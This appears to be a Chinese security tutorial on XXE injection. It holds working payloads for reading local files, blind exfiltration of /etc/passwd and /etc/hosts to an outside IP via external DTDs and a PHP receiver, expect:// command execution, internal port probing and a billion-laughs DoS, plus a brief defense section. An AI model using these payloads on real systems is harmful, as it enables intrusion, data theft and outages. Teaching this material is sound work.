XXE漏洞攻击与防御
0x01 XML基础
XML文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法元素来定义文档的结构。DTD可被成行的声明于XML文档中(内部引用),也可以作为一个外部引用
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD文档中有很多重要的关键字如下:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
实体
实体可以理解为变量,其必须在DTD中定义声明,可以在文档中的其他位置引用该变量的值
实体按类型分主要分为以下四种:
- 内置实体
- 字符实体
- 通用实体
- 参数实体
实体根据引用方式,还可以分为内部实体和外部实体
实体类别介绍
参数实体用%实体名称
声明,引用时也用%实体名称;其余实体直接使用实体名称申明,引用时用&实体名称
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用
内部实体:
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
实例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "qiqi">]>
<foo>
<value>&name;</value>
</foo>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
%name
(实体参数)是在DTD中被引用的,而&name
(其余实体)是在xml文档中被引用的
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体
外部实体
<!ENTITY 实体名称 SYSTEM "URI/URL"> <!--语法声明-->
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!--实例-->
<author>&writer;</author> <!--实体引用-->
URL中能写入的外部实体类型为:
主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:
实例
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY content SYSTEM "file:///etc/passwd">]>
<foo>
<value>&content;</value>
</foo>
0x02 XXE漏洞
简介
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件
XXE漏洞检测
第一步:检测XML是否会被成功解析
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is qiqi">]>
<root>&name;</root>
如果页面输出了my name is qiqi,说明xml文件可以被解析
第二步:检测服务器是否支持DTD引用外部实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>
可通过查看服务器上的日志来判断
如果支持引用外部实体,那么很有可能是存在XXE漏洞的
XXE漏洞利用
xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等
测试代码
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo 'you are ' . $user;
?>
simplexml_load_string
函数无法使用(和php版本并无关系,而是和编译时的libxml库版本有关)
漏洞测试
有回显,直接读取文件:
Payload:
使用外部实体来加载本地文件
<?xml version="1.0" ?> <!DOCTYPE creds [
<!ELEMENT user ANY >
<!ELEMENT pass ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>test</pass>
</creds>
这里声明了一个外部实体 xxe
,值为 file:///etc/passwd
,即本地 /etc/passwd
文件的内容
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
然后在元素 user 内引用了该实体 &xxe;
<user>&xxe;</user>
成功读取到文件:
读取存在特殊字符的文件:
当我们读取的文件内容中包含有特殊字符<&
等时,会导致解析错误,读取失败
这时候我们需要借助php://filter
中的base64过滤器进行编码
Payload:
<?xml version="1.0" ?> <!DOCTYPE creds [
<!ELEMENT user ANY >
<!ELEMENT pass ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/XXE/xxe.php" >]>
<creds>
<user>&xxe;</user>
<pass>test</pass>
</creds>
成功返回:
成功读取到源码,我们只要将其解码即可
Blind XXE
在之前的例子中,结果被作为响应的一部分被返回了,但如果遇到没有回显的情况,就需要使用其他办法。
因为无法直接将要读取的文件内容发送到服务器,所以需要通过变量的方式,先把要读取的文件内容保存到变量中,然后通过 URL 引用外部实体的方式,在 URL 中引用该变量,让文件内容成为 URL 的一部分(如查询参数),然后通过查看访问日志的方式来获取数据。
只有在DTD文件中声明了参数实体时,才可以引用其他参数实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % param1 "Hello">
<!ENTITY % param2 ",World">
<!ENTITY % outter SYSTEM "other.dtd">
%outter;
]>
other.dtd
<!ENYITY % name "%param1;%param2;">
参数实体name引用了参数实体param1和param2,最后的值为Hello,World
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://112.74.35.205/XXE/file.dtd">
%remote;
%int;
%send;
]>
外部dtd文件:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % send system 'http://112.74.35.205/?p=%file;'>">
首先%remote;
加载外部dtd文件,得到:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % send system 'http://112.74.35.205/?p=%file;'>">
%int;
%send;
接着%int;
获取对应的实体的值,因为值中包含实体引用%file
,即/etc/hosts
文件的内容,得到:
<!ENTITY % send system 'http://192.168.1.17:80/?p=[文件内容]'>
%send;
最后%send;
获取对应实体的值,会去请求对应url的资源,通过查看访问日志可得到文件内容,这里还需要对内容进行编码,防止xml解析错误
本地测试,并不能成功,访问日志中只有dtd文件的访问记录,并没有获取到/etc/hosts
的内容,使用XXEinjector
这个工具可以获得
以下payload可以成功
payload
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://112.74.35.205/XXE/key.dtd"> %remote;
%int;
%send;
]>
外部dtd文件内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://112.74.35.205/?p=%file;'>">
在上面的payload中,如果要改变读取的文件,还需要修改dtd文件,很麻烦
为了方便,我们可以使用如下payload:
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://112.74.35.205/XXE/file.dtd">
%dtd;
%send;
]>
file.dtd:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://112.74.35.205/?p=%file;'>">
%payload;
成功读取到文件内容
这里需要注意一个问题,/etc/hosts
文件较小,所以可以直接利用get回显,但是如果是/etc/passwd
这样比较大的文件,dtd声明中定义外部实体时,对url有长度限制,我们就需要利用zlib.deflate
来帮助我们压缩,从而得以从get中获取文件内容
payload:
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://112.74.35.205/XXE/file.dtd">
%dtd;
%send;
]>
我们将内容复制下来保存到一个文件1.txt
中,然后使用base64
解码再加上zlib.inflate
解压即可
php://filter/read=convert.base64-decode/zlib.inflate/resource=1.txt
用之前的文件上传漏洞的后段代码读取一下
当然我们还可以弄一个直接接收文件的php
get.php
<?php
file_put_contents('xxe.txt', $_GET['xxe']);
?>
payload
<!ENTITY % remote SYSTEM "http://112.74.35.205/XXE/1.dtd">
%remote;
]>
外部dtd文件内容:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://112.74.35.205/get.php?xxe=%payload;'>">
%int;
%trick;
这个did文件,引用了外部实体/etc/passwd
作为payload的值,然后又将payload拼接到url上,进行http请求
接收到请求的get.php就将这个文件内容保存到xxe.txt中了,形成了一个文件读取的过程,最后保存到主机上
这里还遇到一个问题,当我把get.php
放在与外部dtd文件同一个目录下时,就没有办法创建这个文本,但是当我放在不同目录下时就能够成功创建(并不是权限问题)
之前提到过说使用base64过滤器是为了特殊字符的干扰,然而换成别的没有特殊字符的普通纯文本文件的时候,发现如果不使用php协议中的base64过滤器,就无法接受到文件内容,只有当我们使用了base64过滤器时,我们才成功得到了文本内容
由此可以猜想:
- 在blind XXE中必须使用php协议,而且必须使用base64过滤器
- 使用base64过滤器并不是“由于特殊符号对于XML的影响”这一原因
XXE危害
读取任意文件
这个我们上面已经详细分析过了
执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
内网探测 内网服务攻击
在XML攻击中,大都是使用外部实体引用,那么当禁止外部实体引用时呢
这种情况下,大多数攻击都会失效,但是ssrf不会
还有一种请求外部资源的方式,直接使用DOCTYPE
<!DOCTYPE root SYSTEM "http://127.0.0.1:2333">
当端口存在时,请求只会用很短的时间,但是当端口不存在时,实用的时间将大大加长
利用这种特性,我们可以对内网进行探测。甚至向内网发起攻击
DOS拒绝服务
任何能大量占用服务器资源的方法都可以造成 DoS,这个的原理就是递归引用
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1 ;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2 ;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3 ;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4 ;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5 ;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6 ;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7 ;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8 ;">]>
<lolz>&lol9;</lolz>
lol
实体具体还有 "lol"
字符串,然后一个 lol1
实体引用了 10 次 lol 实体,一个 lol2
实体引用了 10 次 lol1
实体,此时一个 lol2
实体就含有 10^2
个 "lol"
了,以此类推,lol9
实体含有 10^9
个 "lol"
字符串,从而导致拒绝服务攻击
防御
使用开发语言提供的禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
Python
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities = False))
过滤用户提交的XML数据
过滤关键词:<!DOCTYPE
和<!ENTITY
或者SYSTEM
和PUBLIC
0x03 XXE的构造
参数实体以%
开头,我们使用参数实体需要遵循两条原则:
- 参数实体只能在DTD声明中使用
- 参数实体中不能再引用参数实体
也就是说,直接在内部实体定义中引用另一个实体的这种方法是行不通的,因为定义的参数实体不能直接在当前DTD处被其他的参数实体在定义时引用
例如:
<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "http://112.74.35.205/?%param1"> %param2;
]>
这样的代码是行不通的
内部实体嵌套:
<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://112.74.35.205/?%param 1;'>">
%param2;
]>
同样,这样的代码也是行不通的,原因是不能再实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部实体连接,无论呃你曾是一般实体还是参数实体
那我们怎样才能实现嵌套呢
我们可以将嵌套的实体声明存放到一个外部文件中,这样做可以规避错误,而且这种方法可以应对过滤了file
、&
等字符的情况
payload:
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://112.74.35.205/evil.xml"> %remote;
%all;
]>
<root>&send;</root>
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://112.74.35.205/?file=%file;'>">
实体remote
,all
,send
的引用顺序很重要,首先对remote
引用目的是将外部文件evil.xml
引入到解释上下文中,然后执行%all
,这时会检测到send
实体,在root
节点中引用send
,就可以成功实现数据转发